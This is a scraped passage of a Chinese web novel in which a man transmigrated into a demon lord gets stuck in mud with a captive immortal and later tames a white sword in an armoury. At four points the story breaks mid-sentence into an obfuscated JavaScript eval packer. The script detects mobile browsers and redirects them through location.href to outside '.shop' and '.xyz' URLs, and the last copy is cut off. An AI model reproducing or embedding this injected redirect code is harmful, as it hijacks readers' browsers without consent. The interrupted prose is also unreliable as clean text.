他一遍遍练习着无影诀的动作,在兴致高涨时甚至加入了些许自己记忆中的剑法,那些不成熟的剑招混杂其中有那么些违和与出人意料,却又为这套无影诀增添了些复杂的攻击力。 或许是从穿书到如今,少有这般自由的时刻,等官逍精疲力竭停下时,已是黑夜。 官逍半躺下,仰头看见头顶朦胧雾气中氤氲出的些许光亮,不确定那是否是魔界的月亮,和他故乡的一点也不一样。 酣畅淋漓后的孤寂似乎来得格外猛烈,官逍一手搭在膝盖上,一手的手肘撑在身下地面上,有些怀念从前的生活。 那或许并不多美好,毕竟生在那样一个贫穷的家庭中。父亲早逝,爷爷病重,母亲在挣扎后选择抛开重担,去追求自己的人生幸福,爷爷耗尽家财离世时,奶奶在低矮的破屋中抱着恐慌的他轻哄:别怕,孩子,奶奶会把你养大,奶奶会陪你长大的。 后来,在他赚到足够给奶奶养老的钱,奶奶一声不吭地离开了。 官逍就是这样在幼童到青年中,一次次经历着不一样的分别,哪怕那样短暂的一生充满坎坷与艰辛,在最初他呱呱坠地的时候,也曾是许多人的欢喜。 当他最后揣着多年积蓄却孑然一身的时候,又会不停回忆那些苦日子,在天还未亮的凌晨陪奶奶推着推车出门,在嘈杂的人群里扯着嗓子叫卖,在天色漆黑时捧着滚烫的鸡蛋灌饼,守着那路灯下的一片小天地,一抬头,就是奶奶的慈祥笑容。 年幼的他还不明白金钱的意义,却已经学会了捡起路边被人丢弃的空塑料瓶带回家。 系统将他带到这个书中世界的时候,或许是看他了无牵挂,也或许是感受到了他想抛开一切真正享受生活的欲望,可系统不会知道,他想要自由,也想念另一个世界里,那一处凸起的坟包。 正在胡乱感慨时,有细微声音传入耳中,官逍眼角的余光好似看见了什么,心中咯噔一声,再多惆怅都被抛之脑后。 他扭头一看,黑夜中一道红黑色身影立在不远处,一动不动,官逍宛如见鬼一般,手脚弹动了几下后,才意识到自己现在所处环境。 这里是魔界,他的身份是让三界闻风丧胆的魔尊,就算有鬼,也只有鬼怕他的份。 这般在心中自我安慰一番,官逍才敢细看那鬼影,看清对方的脸后,官逍心中一阵无语,为对方一声不吭,也为刚刚差点被吓破了胆的自己。 “你何时来的。”官逍强作淡定询问仙子,他想要起身,却发现自己已经就着这个姿势卡在了泥沙中。 尤其是刚刚被惊吓到时扑腾的那几下,直接将自己锤进了泥中。 官逍表面不动声色,实际咬着后槽牙手脚都在用力,试图凭借着多日修炼的功底将自己拔出泥潭,然而官逍低估了这片土地吃魔的能力,也高估了自己的修为。 “约莫大半个时辰前。”仙子如实回答。 官逍闻言往前推算了时间,彼时他不正抓条腰带舞个不停吗?! 官逍:…… 官逍确定自己有那么一瞬间起了杀心。 虽对于自己来说那造型那行为只是在练习功法,可外人看来,那时的自己大抵格外癫狂,令人费解。 两人之间隔着十几米的距离,黑暗中官逍看不太清对方的表情,就这么互相对视。 谁都没开口的这段时间,气氛略有些诡异。 官逍暗暗挣扎了半天,也不知是不是心理作用,他不仅没把自己拔出来,相反好像陷得更深了。 再回想魔修们谈及色变的这一片区域,官逍才有些意识到那不是骇人听闻的传闻,而是真实的泥沙能吃魔,他都用上了魔气,还没能成功逃脱。 官逍这回是不敢再挣扎了,他看向一直立在原地不动的仙子,只纠结了一瞬便作出决定:“你过来,把本尊拉起来。” 仙子依然不动。 官逍:? 官逍正寻思仙子今日好大狗胆,就见他身体微微颤抖,显然是在发力的样子。 官逍:…… 有个不太好的预感浮现在官逍的脑海。 官逍本就因练功将体力消耗了个九成,如今保持着这个仰躺的姿势这么久,手臂和背脊都有些发酸,腰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997171|147786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下还有个什么东西有些膈人,可他又不敢真躺下,况且,就算想躺下他现在也挪不了四肢分毫。 之前仰望天空的时候有多惬意,现在就有多狼狈。 那边的仙子还在努力向上拔腿,这边的官逍已经开始琢磨这样维持一夜,能不能练出一只麒麟臂。 时间一分一秒过去,都没有脱困的趋势,两人虽只相隔十几米,却像是相隔了一个光年。 官逍支着身体的那只手慢慢开始颤抖,因为颤抖的动作,他下沉的速度更快,想来练麒麟臂的计划得取消了,因为这般下去,要不了一夜,他的身体就会被泥潭吃个干净了。 仙子靠不住,官逍开始伸手进泥潭,试图用唯一自由的手将自己其他部位挖出来,口中还不忘吐槽,“你怎生如此慢,这些时日的地莫非是白锄了?” 叶鹤清还是那副努力拔腿的姿势,他不知魔尊现在又在演着哪一出,因为自己无意中看到了他自创的剑法,所以想要杀自己灭口? 他方才的确清楚看见了魔尊眼中的狠厉,可若是想要自己这条小命,现在又何必装出可怜兮兮的模样骗自己过去呢? 想来魔尊定是又有了什么恶趣味的杀戮想法。 正踟蹰着要不要继续装作被陷在此处,一抬头,就见那边躺在地上的魔尊惬意地从泥地中摸出一个头骨,然后蹙了蹙眉,嫌弃地丢在一边。 “吾不过一具凡身罢了,怎抵得过魔尊修为高深。”仙子弱弱道。 官逍被噎得有些说不出话来,魔尊修为高深没错,可他不是魔尊啊。 官逍委屈,但官逍不能说。 想起刚刚从腰下摸出的那个头骨,官逍又是一阵糟心,且不说别的,吞噬了那么多魔修魔兽的泥沙,也不知有多脏污,只想想官逍就浑身难受。 又等了约莫半个时辰,官逍的魔力恢复了些,他看向不远处又矮了一截的仙子,终于忍不住了,环顾四周,将丢掷在一边的大带拿起,目测好距离,将大带朝着仙子的方向投去。 轻薄的布帛在这一瞬间宛如有了生命,飞快划过夜色,缠住仙子的腰,随后官逍手中大量魔气猛地迸发,大带便拽着仙子逃脱泥沙。 仙子被布帛带出泥沙后,在空中划出一道抛物线,然后狠狠砸在了官逍面前。 “砰”的一声响,官逍看着自己面前趴在地上的仙子,没忍住勾了勾唇角。 很不巧,他又用力过猛了。 仙子的样子比他还狼狈,官逍有些想笑,可还期盼着对方能把自己带出泥潭,又不好表现得太幸灾乐祸。 泥沙松软,砸在地上只是声音大一些,实际上疼痛感并没有那么强烈,只是叶鹤清何曾受过这种罪,天之骄子的所有苦楚,都是拜眼前人所赐。 若非不敌,他现在真想抛去身为道君的高深修为,只用最野蛮的方法将魔尊狠狠按在泥地中。 官逍并不知眼前仙子的暴躁,下巴微扬,话语中尽是得意,“倒不如早些求助本尊,你何须那般费力,来,将本尊拉起来。” 20. 第二十章 明明是他在求人,却又格外倨傲,叶鹤清却没觉得有何不妥,毕竟,官逍向来都是这般,只凭心意,从不与人讲道理。 咬了咬牙,叶鹤清暗暗告诫自己,一些时日的忍辱负重,不过是为了一朝得胜换三界太平,他乃仙界道君,受人敬仰,也合该做出相应回报。 天道不公,竟让此等恶劣好杀之辈成功渡过了天劫,他这等修为,仙界帝君都难敌,若他哪天心血来潮便可让三界生灵涂炭,彼时之失,与他一人受些苦楚相比,孰轻孰重他怎会不知。 一瞬间多个念头在脑中闪过,叶鹤清慢慢站起身,沉默抓住官逍伸出的手,将他往泥沙外拽。 因不敢动用灵力,叶鹤清徒手废了好大劲,也只将官逍拔出了丁点儿。 两人相握的手被勒出了血印,叶鹤清停下动作稍作休憩时,依然想不通官逍到底想做什么,如今这般,他倒不像是想将自己置于死地,更像是在魔殿待得无趣,出来寻些乐子。 官逍也不好受,泥沙的吸力和仙子的拖拽同时出现,他的身体仿若快要被撕成两半,可他却只能忍着,不能叫痛。 休息后再次尝试,叶鹤清倒退了两步,再次使劲,还没等官逍指挥,就听见咔擦一声。 官逍疑惑,环顾四周,不知这声音从何而来。 没找到源头,他示意仙子继续使劲儿,却见仙子一动不动。 “怎么,你的骨头断了?”官逍问。 叶鹤清长长吸了一口气,再缓缓吐出,似是下了万般决心,才开口道:“衣裳裂了。” 官逍嘴角抽搐。 忍着疼痛被从泥沙中拔出的那一刻,官逍莫名有种自己化身萝卜的错觉,浑身骤然变轻盈,只是在这猛地冲劲之下,官逍没来得及站稳就朝前扑去,他感觉到自己抓着的那只手正在疯狂使劲挣脱,可他怎么可能松手。 如此倔强的结果就是他摔倒时找到了个人肉垫,被压在他身下的叶鹤清在短短一日内连遭挫折,躺在地上半晌不动弹,怀疑人生。 或许,从早晨被木屑灰尘扬满头满脸开始,他待在官逍的视野中就是个错误。 官逍毫发无损地从地上爬了起来,坐在叶鹤清身边,把沾染泥沙的头发缕到脑后,用脚尖碰了碰躺着装死的仙子,“本尊乏了,回去吧。” 叶鹤清眼球转了转,看向官逍的方向,似在询问他:回去便回去,你碰我作甚。 “你去寻抬大轿,接本尊回去。”官逍理直气壮,“本尊的力气都用在救你上了。” 仙子闭上双眼,根本不信。 官逍这回说得是实话,哪怕是原身来了,修炼无影诀耗尽魔力后,再维持一个姿势几个时辰,都会觉得疲惫。 虽然,原身不会像自己一样窝囊地被泥沙困住。 但官逍是一点儿力气都不想花了,仙子不肯起来,他也不急,就坐在这这么等着,仙子被泥沙吞噬的速度,定然是比自己快的,他不信对方能耗得过自己。 闲着无事,官逍的目光一遍遍扫视仙子,滚烫的目光让仙子闭着眼睛都警惕,官逍的视线最后落在了一处花白上。 他伸手,透过衣裳的破洞探了进去,指尖摸到滑嫩细腻的温热,躺着的仙子骤然间坐起身,弹射速度堪比将禄无游追得满屋跑的灰毛兔。 官逍缩回手,一脸平静无辜地与仙子四目相对。 叶鹤清瞪着一双眼睛,胸口急速鼓动了两下后才慢慢平缓,他手紧捂着衣服破洞的那处,那冰凉凉滑溜溜的触感仿佛还滞留在皮肤上。 几息后,他认命回应,“吾独自回东稷唤魔修抬轿来接尊主,尊主可放心?” 官逍挑眉笑了声,“本尊自然不放心。” 仙子咬牙,“那尊主传音回东稷便是。” 官逍却道:“若是有这等功夫,本尊御法器飞回去便是了。” 他倒也知道御法器飞回去! 对峙半晌,叶鹤清自知与官逍辨不清道理,若是他能通情达理,当初在青云门他也不会骤然入魔,从宗门中最具天赋的弟子化成屠戮满城的恶魔。 叶鹤清在官逍面前蹲下,后背朝着对方,官逍见状挑眉,几乎不做迟疑地直接趴在了仙子的背上。 让三界都闻风丧胆的魔尊趴伏在自己后背上的这一瞬间,叶鹤清没来由地心中一震,也不知是仙魔两界本身气场冲撞的缘故,还是他内心认定的敌手骤然间与自己身躯贴合的原因。 叶鹤清缓缓起身,背着魔尊朝迷雾中走去,传闻中嗜杀成性的魔尊,赫赫声名与他的体重真是两个极端,叶鹤清甚至都有些怀疑这么轻的身躯如何承载那么高的修为。 官逍双手垂于仙子胸前,手中还捏着他那根腰带,时不时给布帛中输入魔气,在仙子腰上腿上绑出不一样的形状。 叶鹤清对这等逗弄无动于衷,只要不妨碍他行路,他就一声不吭,但或许是因为他的反应太过平静,魔尊并不受用,有时突然之间就将他的双腿一同缚住,惹仙子一个踉跄。 仙子堪堪稳住身形,微叹口气,“尊主大人小心。” 官逍却拍拍他的肩膀,“你可要当心,若是摔了本尊,惹本尊不快,那仙界也莫想好过。” 仙子不再言语,继续前行,官逍也没再玩弄那根腰带,他一次次试探,却总也看不到仙子的底线,仙子并非软弱的性子,可却屡屡妥协。 夜色茫茫,来时用了多次无影诀并不觉得遥远,归去的路却仿若走不到尽头。 到了平时休憩的时间,官逍本就疲乏,这会儿已是半眯着眼睛,头靠在仙子的颈窝,懒散询问:“你是如何飞升的?” 呼吸间的热气在肩颈处迟迟不散,叶鹤清只觉那一处的皮肤格外滚烫,他自记事起便少有与他这般近距离接触的人,一颗心似乎都被分成了几份,其中一份便在此处跳动。 “修道百年,渡劫飞升。”仙子答。 官逍闻言有些诧异,“百年飞升,看不出你还算是有天赋,都快赶上那个仙界的谁了。” “谁?”仙子问。 困顿让他的脑袋不怎么运转,官逍这回想了许久,久到叶鹤清都以为魔尊对这个问题没了兴致。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14007260|147786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个武德神君,他应也是百年飞升的。”许久后,官逍悠悠道。 叶鹤清脚步微顿,抿了抿唇,“是,魔尊竟是这也记得,果真是知己知彼。” 官逍手指在仙子胸前晃了晃,语调不屑,“不,仙界那些个仙君神君俱是不思进取之辈,如何能入本尊眼,你们那帝君老儿几千年前想做圣人差点将自己搭进去,如今整个仙界应也就剩那武德神君还有点仙界的派头。” 叶鹤清沉默,实难相信官逍的嘴里竟然还能吐出那么两句夸赞自己的话,“风华神君也入不了尊主的眼吗?” 官逍想了半天,才恍然道:“风华?你说那个养火鸡的神君?” 叶鹤清:“凤凰。” “你说是什么便是什么吧!”官逍对神兽不做评价,“他不潜心学笛,偏去搞禽类养殖,还将雌雄分林散养,难怪这么些年了孵不出来一只火鸡崽。” “凤凰。”仙子再次强调。 官逍:“喔。” “凤凰是风华神君的爱宠,并非要饲养繁殖后代。”叶鹤清到底没忍住,解释了一句。 官逍却不信,“你一介刚飞升散仙如何知晓风华的心思,兴许他只是在为孵不出来小鸡崽寻借口呢?” 叶鹤清已经放弃纠正是鸡还是凤凰了。 风华与凤凰的风评双双被害,叶鹤清是极力挽回过的,可惜人微言轻。 等两人靠近魔殿时,天际已露出了白光,原是在外行了半夜,新的一天又到来了。 休整了半个晚上的官逍给双方都捏了个净身诀,他虽更钟爱于在地宫汤泉中沐浴,可出现在人前的魔尊怎可狼狈。 故而从外回来的魔修与二人偶遇时,便见魔尊大人光鲜亮丽伏在仙子后背上,手中捏着的大带随风飘摇,他的衣裳松松垮垮,没有布帛的束缚更显随性;而仙子衣裳多处破损,皱皱巴巴的贴在身上。 昨夜尊主与仙子去了何处,为何是这般造型出现在凌晨的东稷? 有些奇怪的想法不受控制地填充进魔修们的大脑,哪怕嘴上都在规矩行礼问好,眼神瞥到仙子时,怪叫声还是忍不住从胸腔中发出来,带着几分调侃与讥诮。 叶鹤清闻声脸色有些黑沉,配上与尊主同款的衣衫,虽有些许狼狈,却也让那几个魔修不自觉收敛了些。 官逍见状笑了声,“与他们计较作甚,他们是魔,如何能控制本性呢?” 叶鹤清听着这话总觉得怪怪的,像是在给下属开脱,又像是把他自己也一同骂进去了。 官逍示意叶鹤清莫要再逗留,送他回地宫,想想那泥沙中不知吞噬过多少魔与兽,他就觉得自己浑身都脏了,净身诀只能从表面上消除脏污,他还需在汤泉中搓洗上十次八次去去心中的晦气。 叶鹤清抬脚继续前行,几步后便听惨叫声传来,他扭头看去,只见刚刚那几个对着自己发出怪叫的魔修身上都燃着火,此时正在地上打滚惨叫。 “训服了,哪怕是魔,也会对你收敛起本性。” 叶鹤清听到耳边魔尊的声音轻飘飘传来,似是随口低语。 21. 第二十一章 官逍再从汤泉中走出来时,浑身就宛如褪去了一层皮,换上新衣新鞋,走出地宫时天色大亮,在外活动的魔修多了许多,好些结伴朝着南方而去,官逍隐约听到了他们讨论魔核之类的字眼,好似是昨日有魔修从那边意外猎回了一只高阶魔兽,魔核与炼器房换了个好武器。 闻言官逍琢磨着是不是也该去为自己挑选个武器,不然都如昨夜那般,修炼兴致上来,想要耍点什么,还得解腰带。 若非是昨夜仙子比他还要窘迫,官逍心理得到安慰,指不定又会如何磋磨仙子。 打定主意,官逍朝着炼器房方向而去,盘算要寻个什么理由取得新武器,毕竟魔界谁不知魔尊有把近人高的大刀,舔舐过千万魔的鲜血,当年他扛着大刀从血泊中走出时,背后是前魔主支离破碎的尸首和万丈渊,那决一生死的一战在后来的几百年中依然是魔修们的谈资,那把赤红的大刀哪怕少有活着的魔见过,却也悬在他们头顶,叫魔界安定了几百年。 走到半途,身后便有个身影悄无声息地靠近,脚步声虽未做掩饰,却也轻盈几不可闻。 官逍头微偏,看见仙子换回了青衣,默默行在他的身后。 虽红衣仙子让人眼前一亮,但官逍不得不承认,青衣仿若是为他而生。 官逍轻笑一声,“仙子这般黏人?” 仙子坦白道:“吾去何处都被尊主的下属严密看管,倒不如直接跟在尊主身边,还自由一些。” 官逍不可置否,以风悟他们的性子,好不容易有个能入自己眼的仙子,又怎容得下他有逃跑的可能。 “如此你便愿意留在魔界了?”官逍问。 仙子摇头,“那自然不是,吾千辛万苦修行飞升,怎甘心在魔界蹉跎岁月,只吾如今自知无法逃脱,只能如此度日。” 官逍没料到仙子说得这么坦诚,但却也不可能真可怜放了他,毕竟自己何尝不是这般,逃脱不了魔尊的身份,只能维持现状,暗地修炼。 “若是有朝一日你能有本事逃回仙界,那本尊便不与你计较。”官逍说。 叶鹤清眉眼微动,正好奇魔尊为何今日这般仁慈,就听他接着说,“若那一日你还有命的话。” 两人一前一后行到炼器房附近,炼器房位于东稷西北方向,沿着阶梯向下行百来个台阶,便能见到一扇密闭大门,官逍难得在魔界看到这种材质的门,似是金属,却又像石头,很是结实的模样。 官逍看了眼落后半步的仙子,仙子迟疑一瞬,迈步敲了敲门,他抬手拂袖的动作很是文雅。 官逍刚想夸他会看眼色,就见他这般叫门,颇为郁闷,“你这样斯斯文文,里间的魔如何能听到。” 仙子回眸,“那当如何?” 官逍:“让开。” 仙子依言照做,只见官逍双手抓住腿部衣袍,抬腿,利落踹了两下厚实的大门。 “哐哐”两声巨响,官逍确认这是不明金属材质,他后退两步,松手后指腹又在衣裳上抹了两下,试图抹平上面的褶皱,继而昂首挺胸,恢复成之前那不可一世的模样。 叶鹤清大为惊奇,与官逍日夜相处这几日,每每都让他怀疑,自己印象中那个弑杀狂躁的官逍,到底是不是他在心中给对方杜撰出的形象。 这般大的动静,内间的魔如何听不见,官逍见跑来开门是个熟面孔,上回那个捧着鱼炭哭丧着脸到自己面前交差的魔修,开门的刹那官逍明明见他还是正常的模样,一与自己对视,他又摆出来沮丧表情。 官逍有些怀疑原身曾经是不是刨了他家坟。 “参见尊主,尊主大驾有何吩咐。”哭脸魔修弱弱行礼。 里间有魔修的声音传来,尖锐又高傲,“小五,又是谁拿了什么低阶魔核来凑热闹了?” 被称为小五的哭脸魔修回头看看,又看看面前魔尊,不知要不要应答。 官逍已经迈步进了炼器房中,炼器房面积不算小,但实在杂乱,最显眼的便是几个两人高的大炉,墙边还有两口釜,都被煤石烧着,一个里面沸腾着黑色不明液体,另一个竟然传来阵阵肉香,旁边立着的两个魔修手中握着脑袋大的锤,在敲击什么。 官逍绕开地上堆叠凌乱的煤石,不让新布靴上蹭到半点污渍。 叶鹤清跟随其后,路过小五时,意外看见那张哭脸冲自己挤出一个笑。 叶鹤清迷茫,他确认自己从前没见过对方。 想来魔界的魔修都有些不太正常。 “小五,耳朵……”尖锐的声音又响起,在瞥见红色身影时骤然失声,半晌后干巴巴继续道,“耳朵上蹭了些灰,快擦擦,别碍了尊主的眼。” 随后,那魔修三步并两步凑到了官逍面前,弓腰露出谄媚相,官逍只一眼就看出他要憋什么彩虹屁,急忙抬手阻止,“带本尊去库中看看。” 那魔修一咕噜到了嘴边的话又生生忍了回去,应了一声便在前方引路。 绕过煤石和大炉,在这个密闭空间里拐了几次弯,才到了个一人宽的门边。 “便是这儿了。”引路的魔修回身道。 官逍点头,“进去。” 那魔修看了眼官逍身边的仙子,有些犹豫,官逍当即懂了,东稷的武器库中虽说没什么上古神器,可也不乏到处搜刮而来的精品武器,让仙界的人进去确实不好。 官逍回头对仙子道:“你且留在这等本尊。” 仙子似是并无不满,垂首应是。 官逍多看了仙子两眼,随后转身进了小门,这是条长长的蜿蜒的地道,官逍顺着魔修的落脚点行走,一路没有触发机关,顺利抵达武器库。 武器库的位置应在北山的某座峰的山体中,是个天然形成的洞穴,空间很大,四周墙壁上陈列着各种造型的武器。 “库中存武器有百种,除却尊主和几位护法带回的八柄,其余皆为炼器房炼制。”魔修介绍道。 官逍放眼望去,墙上挂的皆是中上等武器,一如魔修所说,百余种各不相同,除了常见的刀枪剑棒意外,类似于流星锤、狼牙棒造型 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14020361|147786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的武器,也都陈列其中,各色造型与工艺,看得官逍惊为天人,到底是何等想象力的几个魔凑在一起,才能把想得到的想不到的造型都打造出来。 那些斧头铲子模样的武器官逍暂且不说,就那如仙女棒的东西,到底是哪个小天才想出来?打架前莫不是还得念念口诀等变身再开打? 官逍欲言又止,他是奔着寻一个趁手的轻巧武器来的,也懒得评论炼器房的审美问题,眼神扫视一圈,来到了展示长剑的区域里,最长的那把近五尺长,官逍只看一眼便知自己扛不动,将其他几柄剑一一拿起试了试,最后不得不咬着后槽牙放下。 谁?到底是谁把一把剑炼出了七十多斤的重量?这个重量都快赶上一个少年魔的体重了,那他为何不直接提着成少年魔出去打架,打架中途少年魔还能偷偷暗算对方咬上几口。 见魔尊脸色越发难看,魔修都忍不住缩了缩脖子,也不知尊主到底何处不满意,他们炼器房炼出的武器虽有的丑了点,但个个真材实料,绝对质量上佳啊! “可还有其他的?”官逍把旁边的长枪都摸了一遍,成功完成今日身体锻炼指标,询问。 魔修擦了擦额上冷汗,四处环顾,脑中飞速运转,最后一拍脑门,“还有,尊主稍等。” 说着,这魔修跑到一边,在墙上啪啪连按了几下,又从袖中摸出两块魔晶石放进墙壁的卡槽中。 只听轰隆隆的响动声后,其中一块空地自上方落下一个雕花石墩,上方立着一柄长剑,通身纯白的剑鞘与剑柄,其上玉石盘绕,在略显昏暗的洞中闪着低调的银光。 官逍只看一眼便忍不住道:“这柄剑应是禄无游的白月光。” 毕竟以他对白色深入骨髓的追求,看见这么一柄剑眼睛不得冒绿光? “是,禄大人很喜欢,然收缴当时禄大人只摸了一下就被灼伤,不得不放弃这柄剑,收入库中。”魔修答。 官逍疑惑:“为何?” 魔修垂首解释:“这剑性格死板执拗,曾是仙界之物,被遗弃在仙魔战场上,魔修将其带回养在库中几百年,已是认定自己属于魔界,故而不肯让身上沾染仙气的禄大人触碰。” 官逍先听闻剑还有性格觉得好笑,直到听说禄无游身上沾仙气,错愕一瞬,有什么从脑海中一闪而过,似是有些曾经的疑惑变得合理了。 刚一看这剑鞘与剑柄配色官逍便觉得不像魔界武器,如今果然应证了他的想法,官逍伸手,将剑鞘握入手中,从石台上取下长剑。 握住的一瞬间官逍手心如在被千万只蚂蚁啃咬,细细密密的疼痛诉说着这柄剑对他的排斥,官逍下意识想要松手,可碍于身边立着的魔修,又忍着疼痛紧紧握牢。 抿唇将体内魔气灌入剑中,那种细密的疼痛似乎停滞了一瞬,然后再次对他发起更强烈的攻击。 手心之中逐渐滚烫,似是握着不断升温的铁片,官逍的胜负欲猛地就蹿了起来,毎日在魔修护法面前战战兢兢演戏也就罢了,怎么一柄剑还来欺负他?! 22. 第二十二章 更多魔气自手心灌入剑中,官逍几乎是打定了主意要驯服这柄剑。 周围的魔气源源不断被官逍吸纳,再与长剑抗衡,官逍身边的魔修看看官逍,再看看那柄剑,抹了抹头上的汗,也不知该不该提醒。 通灵性的法器俱是要持有者一心一意,尊主大人已有魔界如今的第一法器血饮长刀了,这柄剑又如何肯为尊主所用,看,这不就在反抗了。 但这规矩魔界无一不知,魔尊既这般行事,定有他的缘由,况且,尊主又何曾把规矩放在眼中过。 如此持续了一刻钟,直到墙壁上的武器都开始微微震颤,官逍手中紧握的剑这才开始不敌呈屈服模样,渐渐褪去攻击力。 又等了约一炷香时间,剑趋于平静,官逍长久屏息终呼出一口气,右手执剑柄,自剑鞘中拔出长剑。 “噌”一声响,剑身显露,锋利的剑刃宛若被尘封了千年,一见光就忍不住大放异彩,银光闪得官逍微微眯眼。 “这……就成了?”魔修有些不可置信,一不留神就将心中话给吐露出来。 官逍欣赏完剑身烧制出的花纹,这才收回鞘中,瞥了魔修一眼,“出去吧。” 魔修不再多问,躬身应是。 从狭窄小门低头走出时,仙子依旧立在原处,只不过身边多了个为他打扇的笑眯眯的小五。 官逍挑了挑眉,就这么会儿不见,仙子就将一个小魔修哄得对他恭恭敬敬。 小五听见动静,一转头,变脸速度快得让官逍都怀疑是否自己出了幻觉。 官逍冷脸。 似是读出了他眼神中的意思,仙子冷漠道:“吾不曾与他交谈。” 意思便是,我并未招惹,也不知你们魔界的魔修为何行事如此癫狂。 官逍持着长剑朝外走去,小五被这气势压得退后几步,叶鹤清紧随官逍,目光在他手中的长剑上多停留了片刻。 回到地面,眼前场景开阔,官逍莫名的不爽褪去许多,他也不知为何会有情绪,或许是见不得自己的下属对仙界的一个小仙子讨好恭敬。 可这魔界本就不是他的,那些下属尊崇的魔尊也不是他,官逍只觉自己这占有欲来得当真离奇。 或许在魔界待久了,修魔道越深,心中躁郁便会更浓厚? 若真如此,官逍有些不敢想未来的自己还是不是自己,他又要如何保持初心,让魔道为自己所用,而不是自己被魔气驱动呢? 见官逍一言不发,叶鹤清也垂眸思索,官逍手中那把剑明显不是魔界的东西,却通身却染着魔气,更像是剑灵主动成魔了,可这种生出灵识的武器为何肯认魔尊为主? 即便这剑灵妥协了,那霸道的血饮长刀又如何肯愿意? 联想到昨夜看见的,官逍在泥沙地上舞的那一段,手中布帛也似是被当成了剑器在使,而那段招式他这几百年从未见过,仔细琢磨一招一式总觉出其不意,莫非行事多变的官逍与血饮长刀生了嫌隙,改用剑了? 这想法实在离谱,毕竟与灵器的生死契约是从建立起的那一刻就生效,不死不休,甚至很多灵器会在持有者陨灭时也自我抹去灵识,同归于尽;像官逍这般安安静静地就换个别的灵器使使,放在他身上……好像也不是不可能。 每每发生在官逍身上的事情,再不符合常理,都变得稀松平常,这让叶鹤清实在苦恼。 官逍回神时,便察觉到仙子的目光牢牢锁定在他手中长剑上,他往左挪,仙子的视线就朝左移动,他往右,仙子的目光又跟随而来,官逍觉得有趣,利落拔出长剑,架在了仙子的脖颈处。 叶鹤清只觉喉间灼痛,反应过来就已听到皮肉被烧焦的哔咔声,带着锋芒的利剑横在自己脖颈处。 这姿势何其熟悉,叶鹤清一瞬间千百个念头闪过,猜想最多的一条便是官逍早已察觉出来他的身份,把自己留在他身边逗弄这些时日也有些腻了,正好今日给个了断。 这一瞬间说不紧张是骗人的,他修行近千年就为了除恶扬善,可到头来还未有何出色功绩,自然不甘心,叶鹤清吞咽了口口水,喉头的刺痛让他微微蹙眉,可也顾不上那么多,至少死前也要劝官逍收手。 正待开口,就见官逍瞪着眼睛看向自己脖颈处,剑刃又往下挪了两寸,又是一阵刺痛与哔咔响,将他的话都堵在了口中。 官逍收回宝贝长剑,剑身入鞘,被他随手别在了腰间,随后官逍探头凑近仙子脖颈,细细打量。 “哟,你这仙气真纯啊!”官逍感叹。 他本就是想小小报洞房花烛夜被举剑刺杀的仇,却没想到这剑刃一碰到仙子就有这么大反应,有些出乎他的意料。 叶鹤清眼睫颤了颤,僵直身体并不动弹,刚刚想要开口的那些话再说出来好像已经不合适,而眼下情形又让他摸不着头脑。 听听,官逍这说得什么话。 “尊主可还记得我的身份?”半晌,叶鹤清只憋出这么一句模棱两可的话。 官逍指腹摸向他脖上两道伤疤,刺痛感让仙子有退后半步的趋势,熟料官逍却一把揪住仙子腰封,迫使他不能逃避。 “自然记得,只没想到我的宝贝冰魄对一个刚飞升的仙子都有这么大怨气。”官逍漫不经心回应,“你真是个练仙道的好苗子。” 叶鹤清心中大石落定,危机警报解除,浑身感知便挪到了伤处。 伤口的疼痛与寒凉指腹的抚摸让他呼吸急促了几分,略玩笑道:“未料竟从魔界尊主这得到了对吾修仙的肯定。” 官逍刚刚出手时拿捏了分寸,剑刃离仙子的皮肤有半寸距离,确实没有刺破对方皮肤,不过剑气自身灼伤了他,官逍松开手,轻拍了两下自己腰间长剑,似是赞赏它火热的脾气。 “那又如何,本尊说不得这话不成?”官逍出口便是满满的狂傲。 这谁能反驳?连叶鹤清自己当年在青云门都只是庸碌之辈,整个修真界中最有望飞升成仙的便是眼前这位,若非他执意入魔,仙宫怕是早就多了个声名响彻三界的道君。 官逍得了新武器,虽还有那么一丝不趁手,但心中的不安被填平了些许,看仙子都顺眼了几分。 只是那两道脖颈处的疤痕颇为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 